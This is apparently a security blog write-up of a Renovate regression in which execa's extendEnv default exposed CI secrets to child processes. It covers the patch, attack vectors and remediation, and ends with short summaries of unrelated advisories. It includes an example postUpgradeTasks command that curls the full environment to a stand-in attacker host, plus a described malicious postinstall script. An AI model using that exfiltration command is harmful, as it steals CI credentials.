Feb 14, 2026·6 min read·27 visits
Renovate switched to a new library (`execa`) for running commands but missed a default setting that merges environment variables. Consequently, `npm install` scripts and `postUpgradeTasks` ran with full access to Renovate's secrets. Fixed in 42.96.3 and 43.4.4.
A critical regression in Renovate's process execution logic allowed child processes to inherit the full set of parent environment variables. This accidentally exposed sensitive CI/CD credentials—such as GitHub PATs and NPM tokens—to untrusted scripts running during package updates.
Renovate is the golden retriever of the DevSecOps world. It fetches your dependency updates, wags its tail (opens a PR), and generally tries to be a good boy. To do its job, it needs keys to the house—specifically, Write access to your repositories, tokens for your package registries (NPM, Docker Hub), and often a myriad of other secrets injected into its CI/CD environment.
But here is the catch: Renovate doesn't just push code; it runs code. It executes npm install, go mod tidy, and user-defined postUpgradeTasks. Security 101 dictates that when you run untrusted code (like a random npm package's install script), you sandboxing it. You definitely don't hand it your wallet.
For a long time, Renovate was careful. It curated the environment variables passed to child processes, stripping out the sensitive stuff. But in late 2025, during a routine refactor to modernize its codebase, someone swapped out the engine under the hood. The car still drove fine, but suddenly, the trunk was popping open and spilling gold bars every time it hit a speed bump. This is the story of how a helper library's "helpful" default setting turned Renovate into a secrets dispenser.
The root cause of GHSA-8wc6-vgrq-x6cf is a classic case of "implicit behavior." In Pull Request #40212, the Renovate team decided to switch their process execution logic to use execa, a very popular and powerful Node.js wrapper for child_process. It's a great library. It handles cross-platform nonsense, better error messages, and promise-based execution.
However, execa has a default behavior that is conceptually convenient for CLI tools but catastrophic for a security sandbox: extendEnv: true. By default, execa takes the parent process's process.env and merges it with whatever you pass it. If the parent process is a CI runner loaded with GITHUB_TOKEN, AWS_SECRET_KEY, and NPM_TOKEN, and you spawn a child process to run npm install, that child inherits everything unless you explicitly tell it to stop.
The developers removed the old manual spawning logic—which likely had an explicit "only pass these vars" filter—and replaced it with execa. They assumed execa would start with a clean slate or only use what was explicitly provided. They were wrong. The result? Every command Renovate ran, from git fetch to malicious post-install scripts in dependencies, had full read access to the runner's environment variables.
The fix is almost insulting in its simplicity, which is typical for the most dangerous bugs. It didn't require re-architecting the security model; it just required flipping a boolean switch that should have been off to begin with.
Here is the vulnerable implementation (simplified) compared to the patch in lib/util/exec/common.ts:
The Vulnerable Code:
export function exec(cmd, options) {
// ... setup code ...
return execa(cmd, args, {
cwd: options.cwd,
shell: true,
// Implicitly: extendEnv: true
});
}The Fix (Commit 9b59ffd):
export function exec(cmd, options) {
// ... setup code ...
return execa(cmd, args, {
cwd: options.cwd,
shell: true,
extendEnv: false, // <--- The magic shield
env: options.env // Only use what we give you
});
}By adding extendEnv: false, the developers forced execa to ignore the parent's process.env. This returned Renovate to its intended behavior: an explicit allowlist where only necessary variables (like PATH or specific proxy settings) are passed down, and secrets stay in the parent process where they belong.
How would an attacker weaponize this? You don't need a buffer overflow or a ROP chain. You just need to ask the environment nicely. There are two primary vectors here: the Insider Threat and the Supply Chain Attack.
Vector 1: The Malicious Configuration (Insider/PR)
If an attacker can modify the renovate.json of a repository that Renovate scans, they can add a postUpgradeTasks. This feature allows running arbitrary shell commands after an update.
{
"postUpgradeTasks": {
"commands": [
"curl -X POST -d \"$(env)\" https://attacker.com/leak"
],
"executionMode": "branch"
}
}Before the fix, when Renovate processed this config, it would spawn a shell to run curl. Because of the bug, that shell inherited GITHUB_TOKEN and NPM_TOKEN. The curl command would happily dump the entire environment to the attacker's server.
Vector 2: The Poisoned Dependency
Imagine Renovate is updating a dependency in your project. It runs npm install to generate the lockfile. If that dependency contains a malicious postinstall script:
// package.json of a compromised dependency
"scripts": {
"postinstall": "node leak_secrets.js"
}Renovate runs npm install. The npm process inherits the secrets. npm runs the postinstall script, which inherits the secrets from npm. The script reads process.env.GH_TOKEN and sends it home. You just got pwned by a minor version update.
This isn't just a "read-only" leak. The credentials Renovate uses are high-value targets. A leaked GitHub Token often has repo scope, meaning an attacker can push code to your private repositories, modify releases, or delete branches.
If you are using Renovate to publish packages, it might hold an NPM_TOKEN with publishing rights. An attacker could use this to publish malicious versions of your internal packages, effectively pivoting from a CI leak to a full-blown supply chain attack on your customers.
The window of exposure was roughly six weeks (Dec 30, 2025 to Feb 9, 2026). Any job run during that time with affected versions of Renovate potentially exposed its secrets to the child processes it spawned. If you run untrusted code (and npm install is untrusted code), you must assume compromise.
First, stop the bleeding. If you are running self-hosted Renovate, check your version immediately. If you are in the 42.68.1 - 42.96.2 or 43.0.0 - 43.4.3 range, you are vulnerable.
Step 1: Upgrade
Update to version 42.96.3 or 43.4.4 immediately. These versions contain the extendEnv: false patch.
Step 2: Rotate Credentials This is the painful part, but it is non-negotiable. Merely patching the software doesn't un-leak the secrets. You must assume that any token exposed to a Renovate runner during the vulnerable window has been harvested. Rotate your bot's GitHub/GitLab tokens. Rotate your NPM tokens. Rotate your Docker Hub credentials. If you injected AWS keys, rotate those too.
Step 3: Harden Configuration
Review your allowedPostUpgradeCommands in your Renovate global config. Ideally, disable postUpgradeTasks entirely unless you strictly control the repositories being scanned. Trusting user-defined shell commands in a privileged environment is always a game of Russian Roulette; this bug just put a bullet in every chamber.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Renovate Mend | >= 42.68.1 < 42.96.3 | 42.96.3 |
Renovate Mend | >= 43.0.0 < 43.4.4 | 43.4.4 |
| Attribute | Detail |
|---|---|
| CWE | CWE-526 (Env Var Exposure) |
| Attack Vector | Local / CI Environment |
| CVSS | 5.5 (Medium) |
| Affected Component | lib/util/exec/common.ts |
| Impact | Information Disclosure (Credentials) |
| Exploit Status | Conceptual / PoC Available |
CVE-2024-29203 identifies a cross-site scripting (XSS) vulnerability in the content ingestion and parsing mechanics of TinyMCE rich text editor. Due to a failure to enforce sandbox attributes on dynamic iframe elements and safely handle legacy embed objects, unauthenticated attackers can inject malicious elements that execute scripts within the context of the parent application session.
A technical breakdown of the OS command injection vulnerability in the shell-quote NPM package (CVE-2026-9277 / GHSA-w7jw-789q-3m8p). The bug resides in the character-by-character backslash-escaping logic applied to the .op field of object-tokens within the quote() function, which fails to match and escape line terminators due to a regex matching oversight in JavaScript. This allows unauthenticated remote attackers to execute arbitrary shell commands if they can control inputs processed by this library.
A high-severity memory corruption vulnerability exists in the V8 JavaScript engine of Google Chrome before versions 149.0.7827.102/103. The flaw arises from an incorrect bounds-check elimination during JIT compilation by the TurboFan optimizer, allowing remote attackers to achieve out-of-bounds read and write access inside the sandboxed renderer process.
An improper authentication vulnerability (CWE-287) exists in the legacy, deprecated Internet Key Exchange version 1 (IKEv1) key exchange protocol implementation in Check Point Security Gateways. The vulnerability is caused by a logic flow weakness during the certificate validation process for Remote Access VPN and Mobile Access (SSL VPN) connections. An unauthenticated remote attacker can exploit this weakness to bypass user authentication entirely, establishing a fully functional Remote Access VPN connection without a valid password.
GeoNode versions prior to 4.4.5 and 5.0.2 are vulnerable to Server-Side Request Forgery (SSRF) in the service registration endpoint. Authenticated attackers with low privileges can exploit insufficient input validation in the Web Map Service (WMS) registration module to force the application server to make outbound network queries to loopback addresses, private RFC1918 subnets, link-local scopes, and cloud metadata endpoints. This technical report details the mechanics of the vulnerability, the underlying architectural flaw, and how to effectively remediate and mitigate the associated security risks.
CVE-2022-0492 is a high-severity missing authorization vulnerability in the Linux kernel's Control Groups (cgroups) v1 implementation. The flaw resides within the cgroup_release_agent_write function in kernel/cgroup/cgroup-v1.c, where the kernel fails to validate if the process writing to the release_agent file possesses administrative capabilities in the initial user namespace. This allows a local attacker inside a container with root privileges (UID 0) to abuse user namespaces, mount a cgroups v1 directory, modify the release_agent parameter, and execute arbitrary commands on the host system as host root, effectively achieving a complete container escape.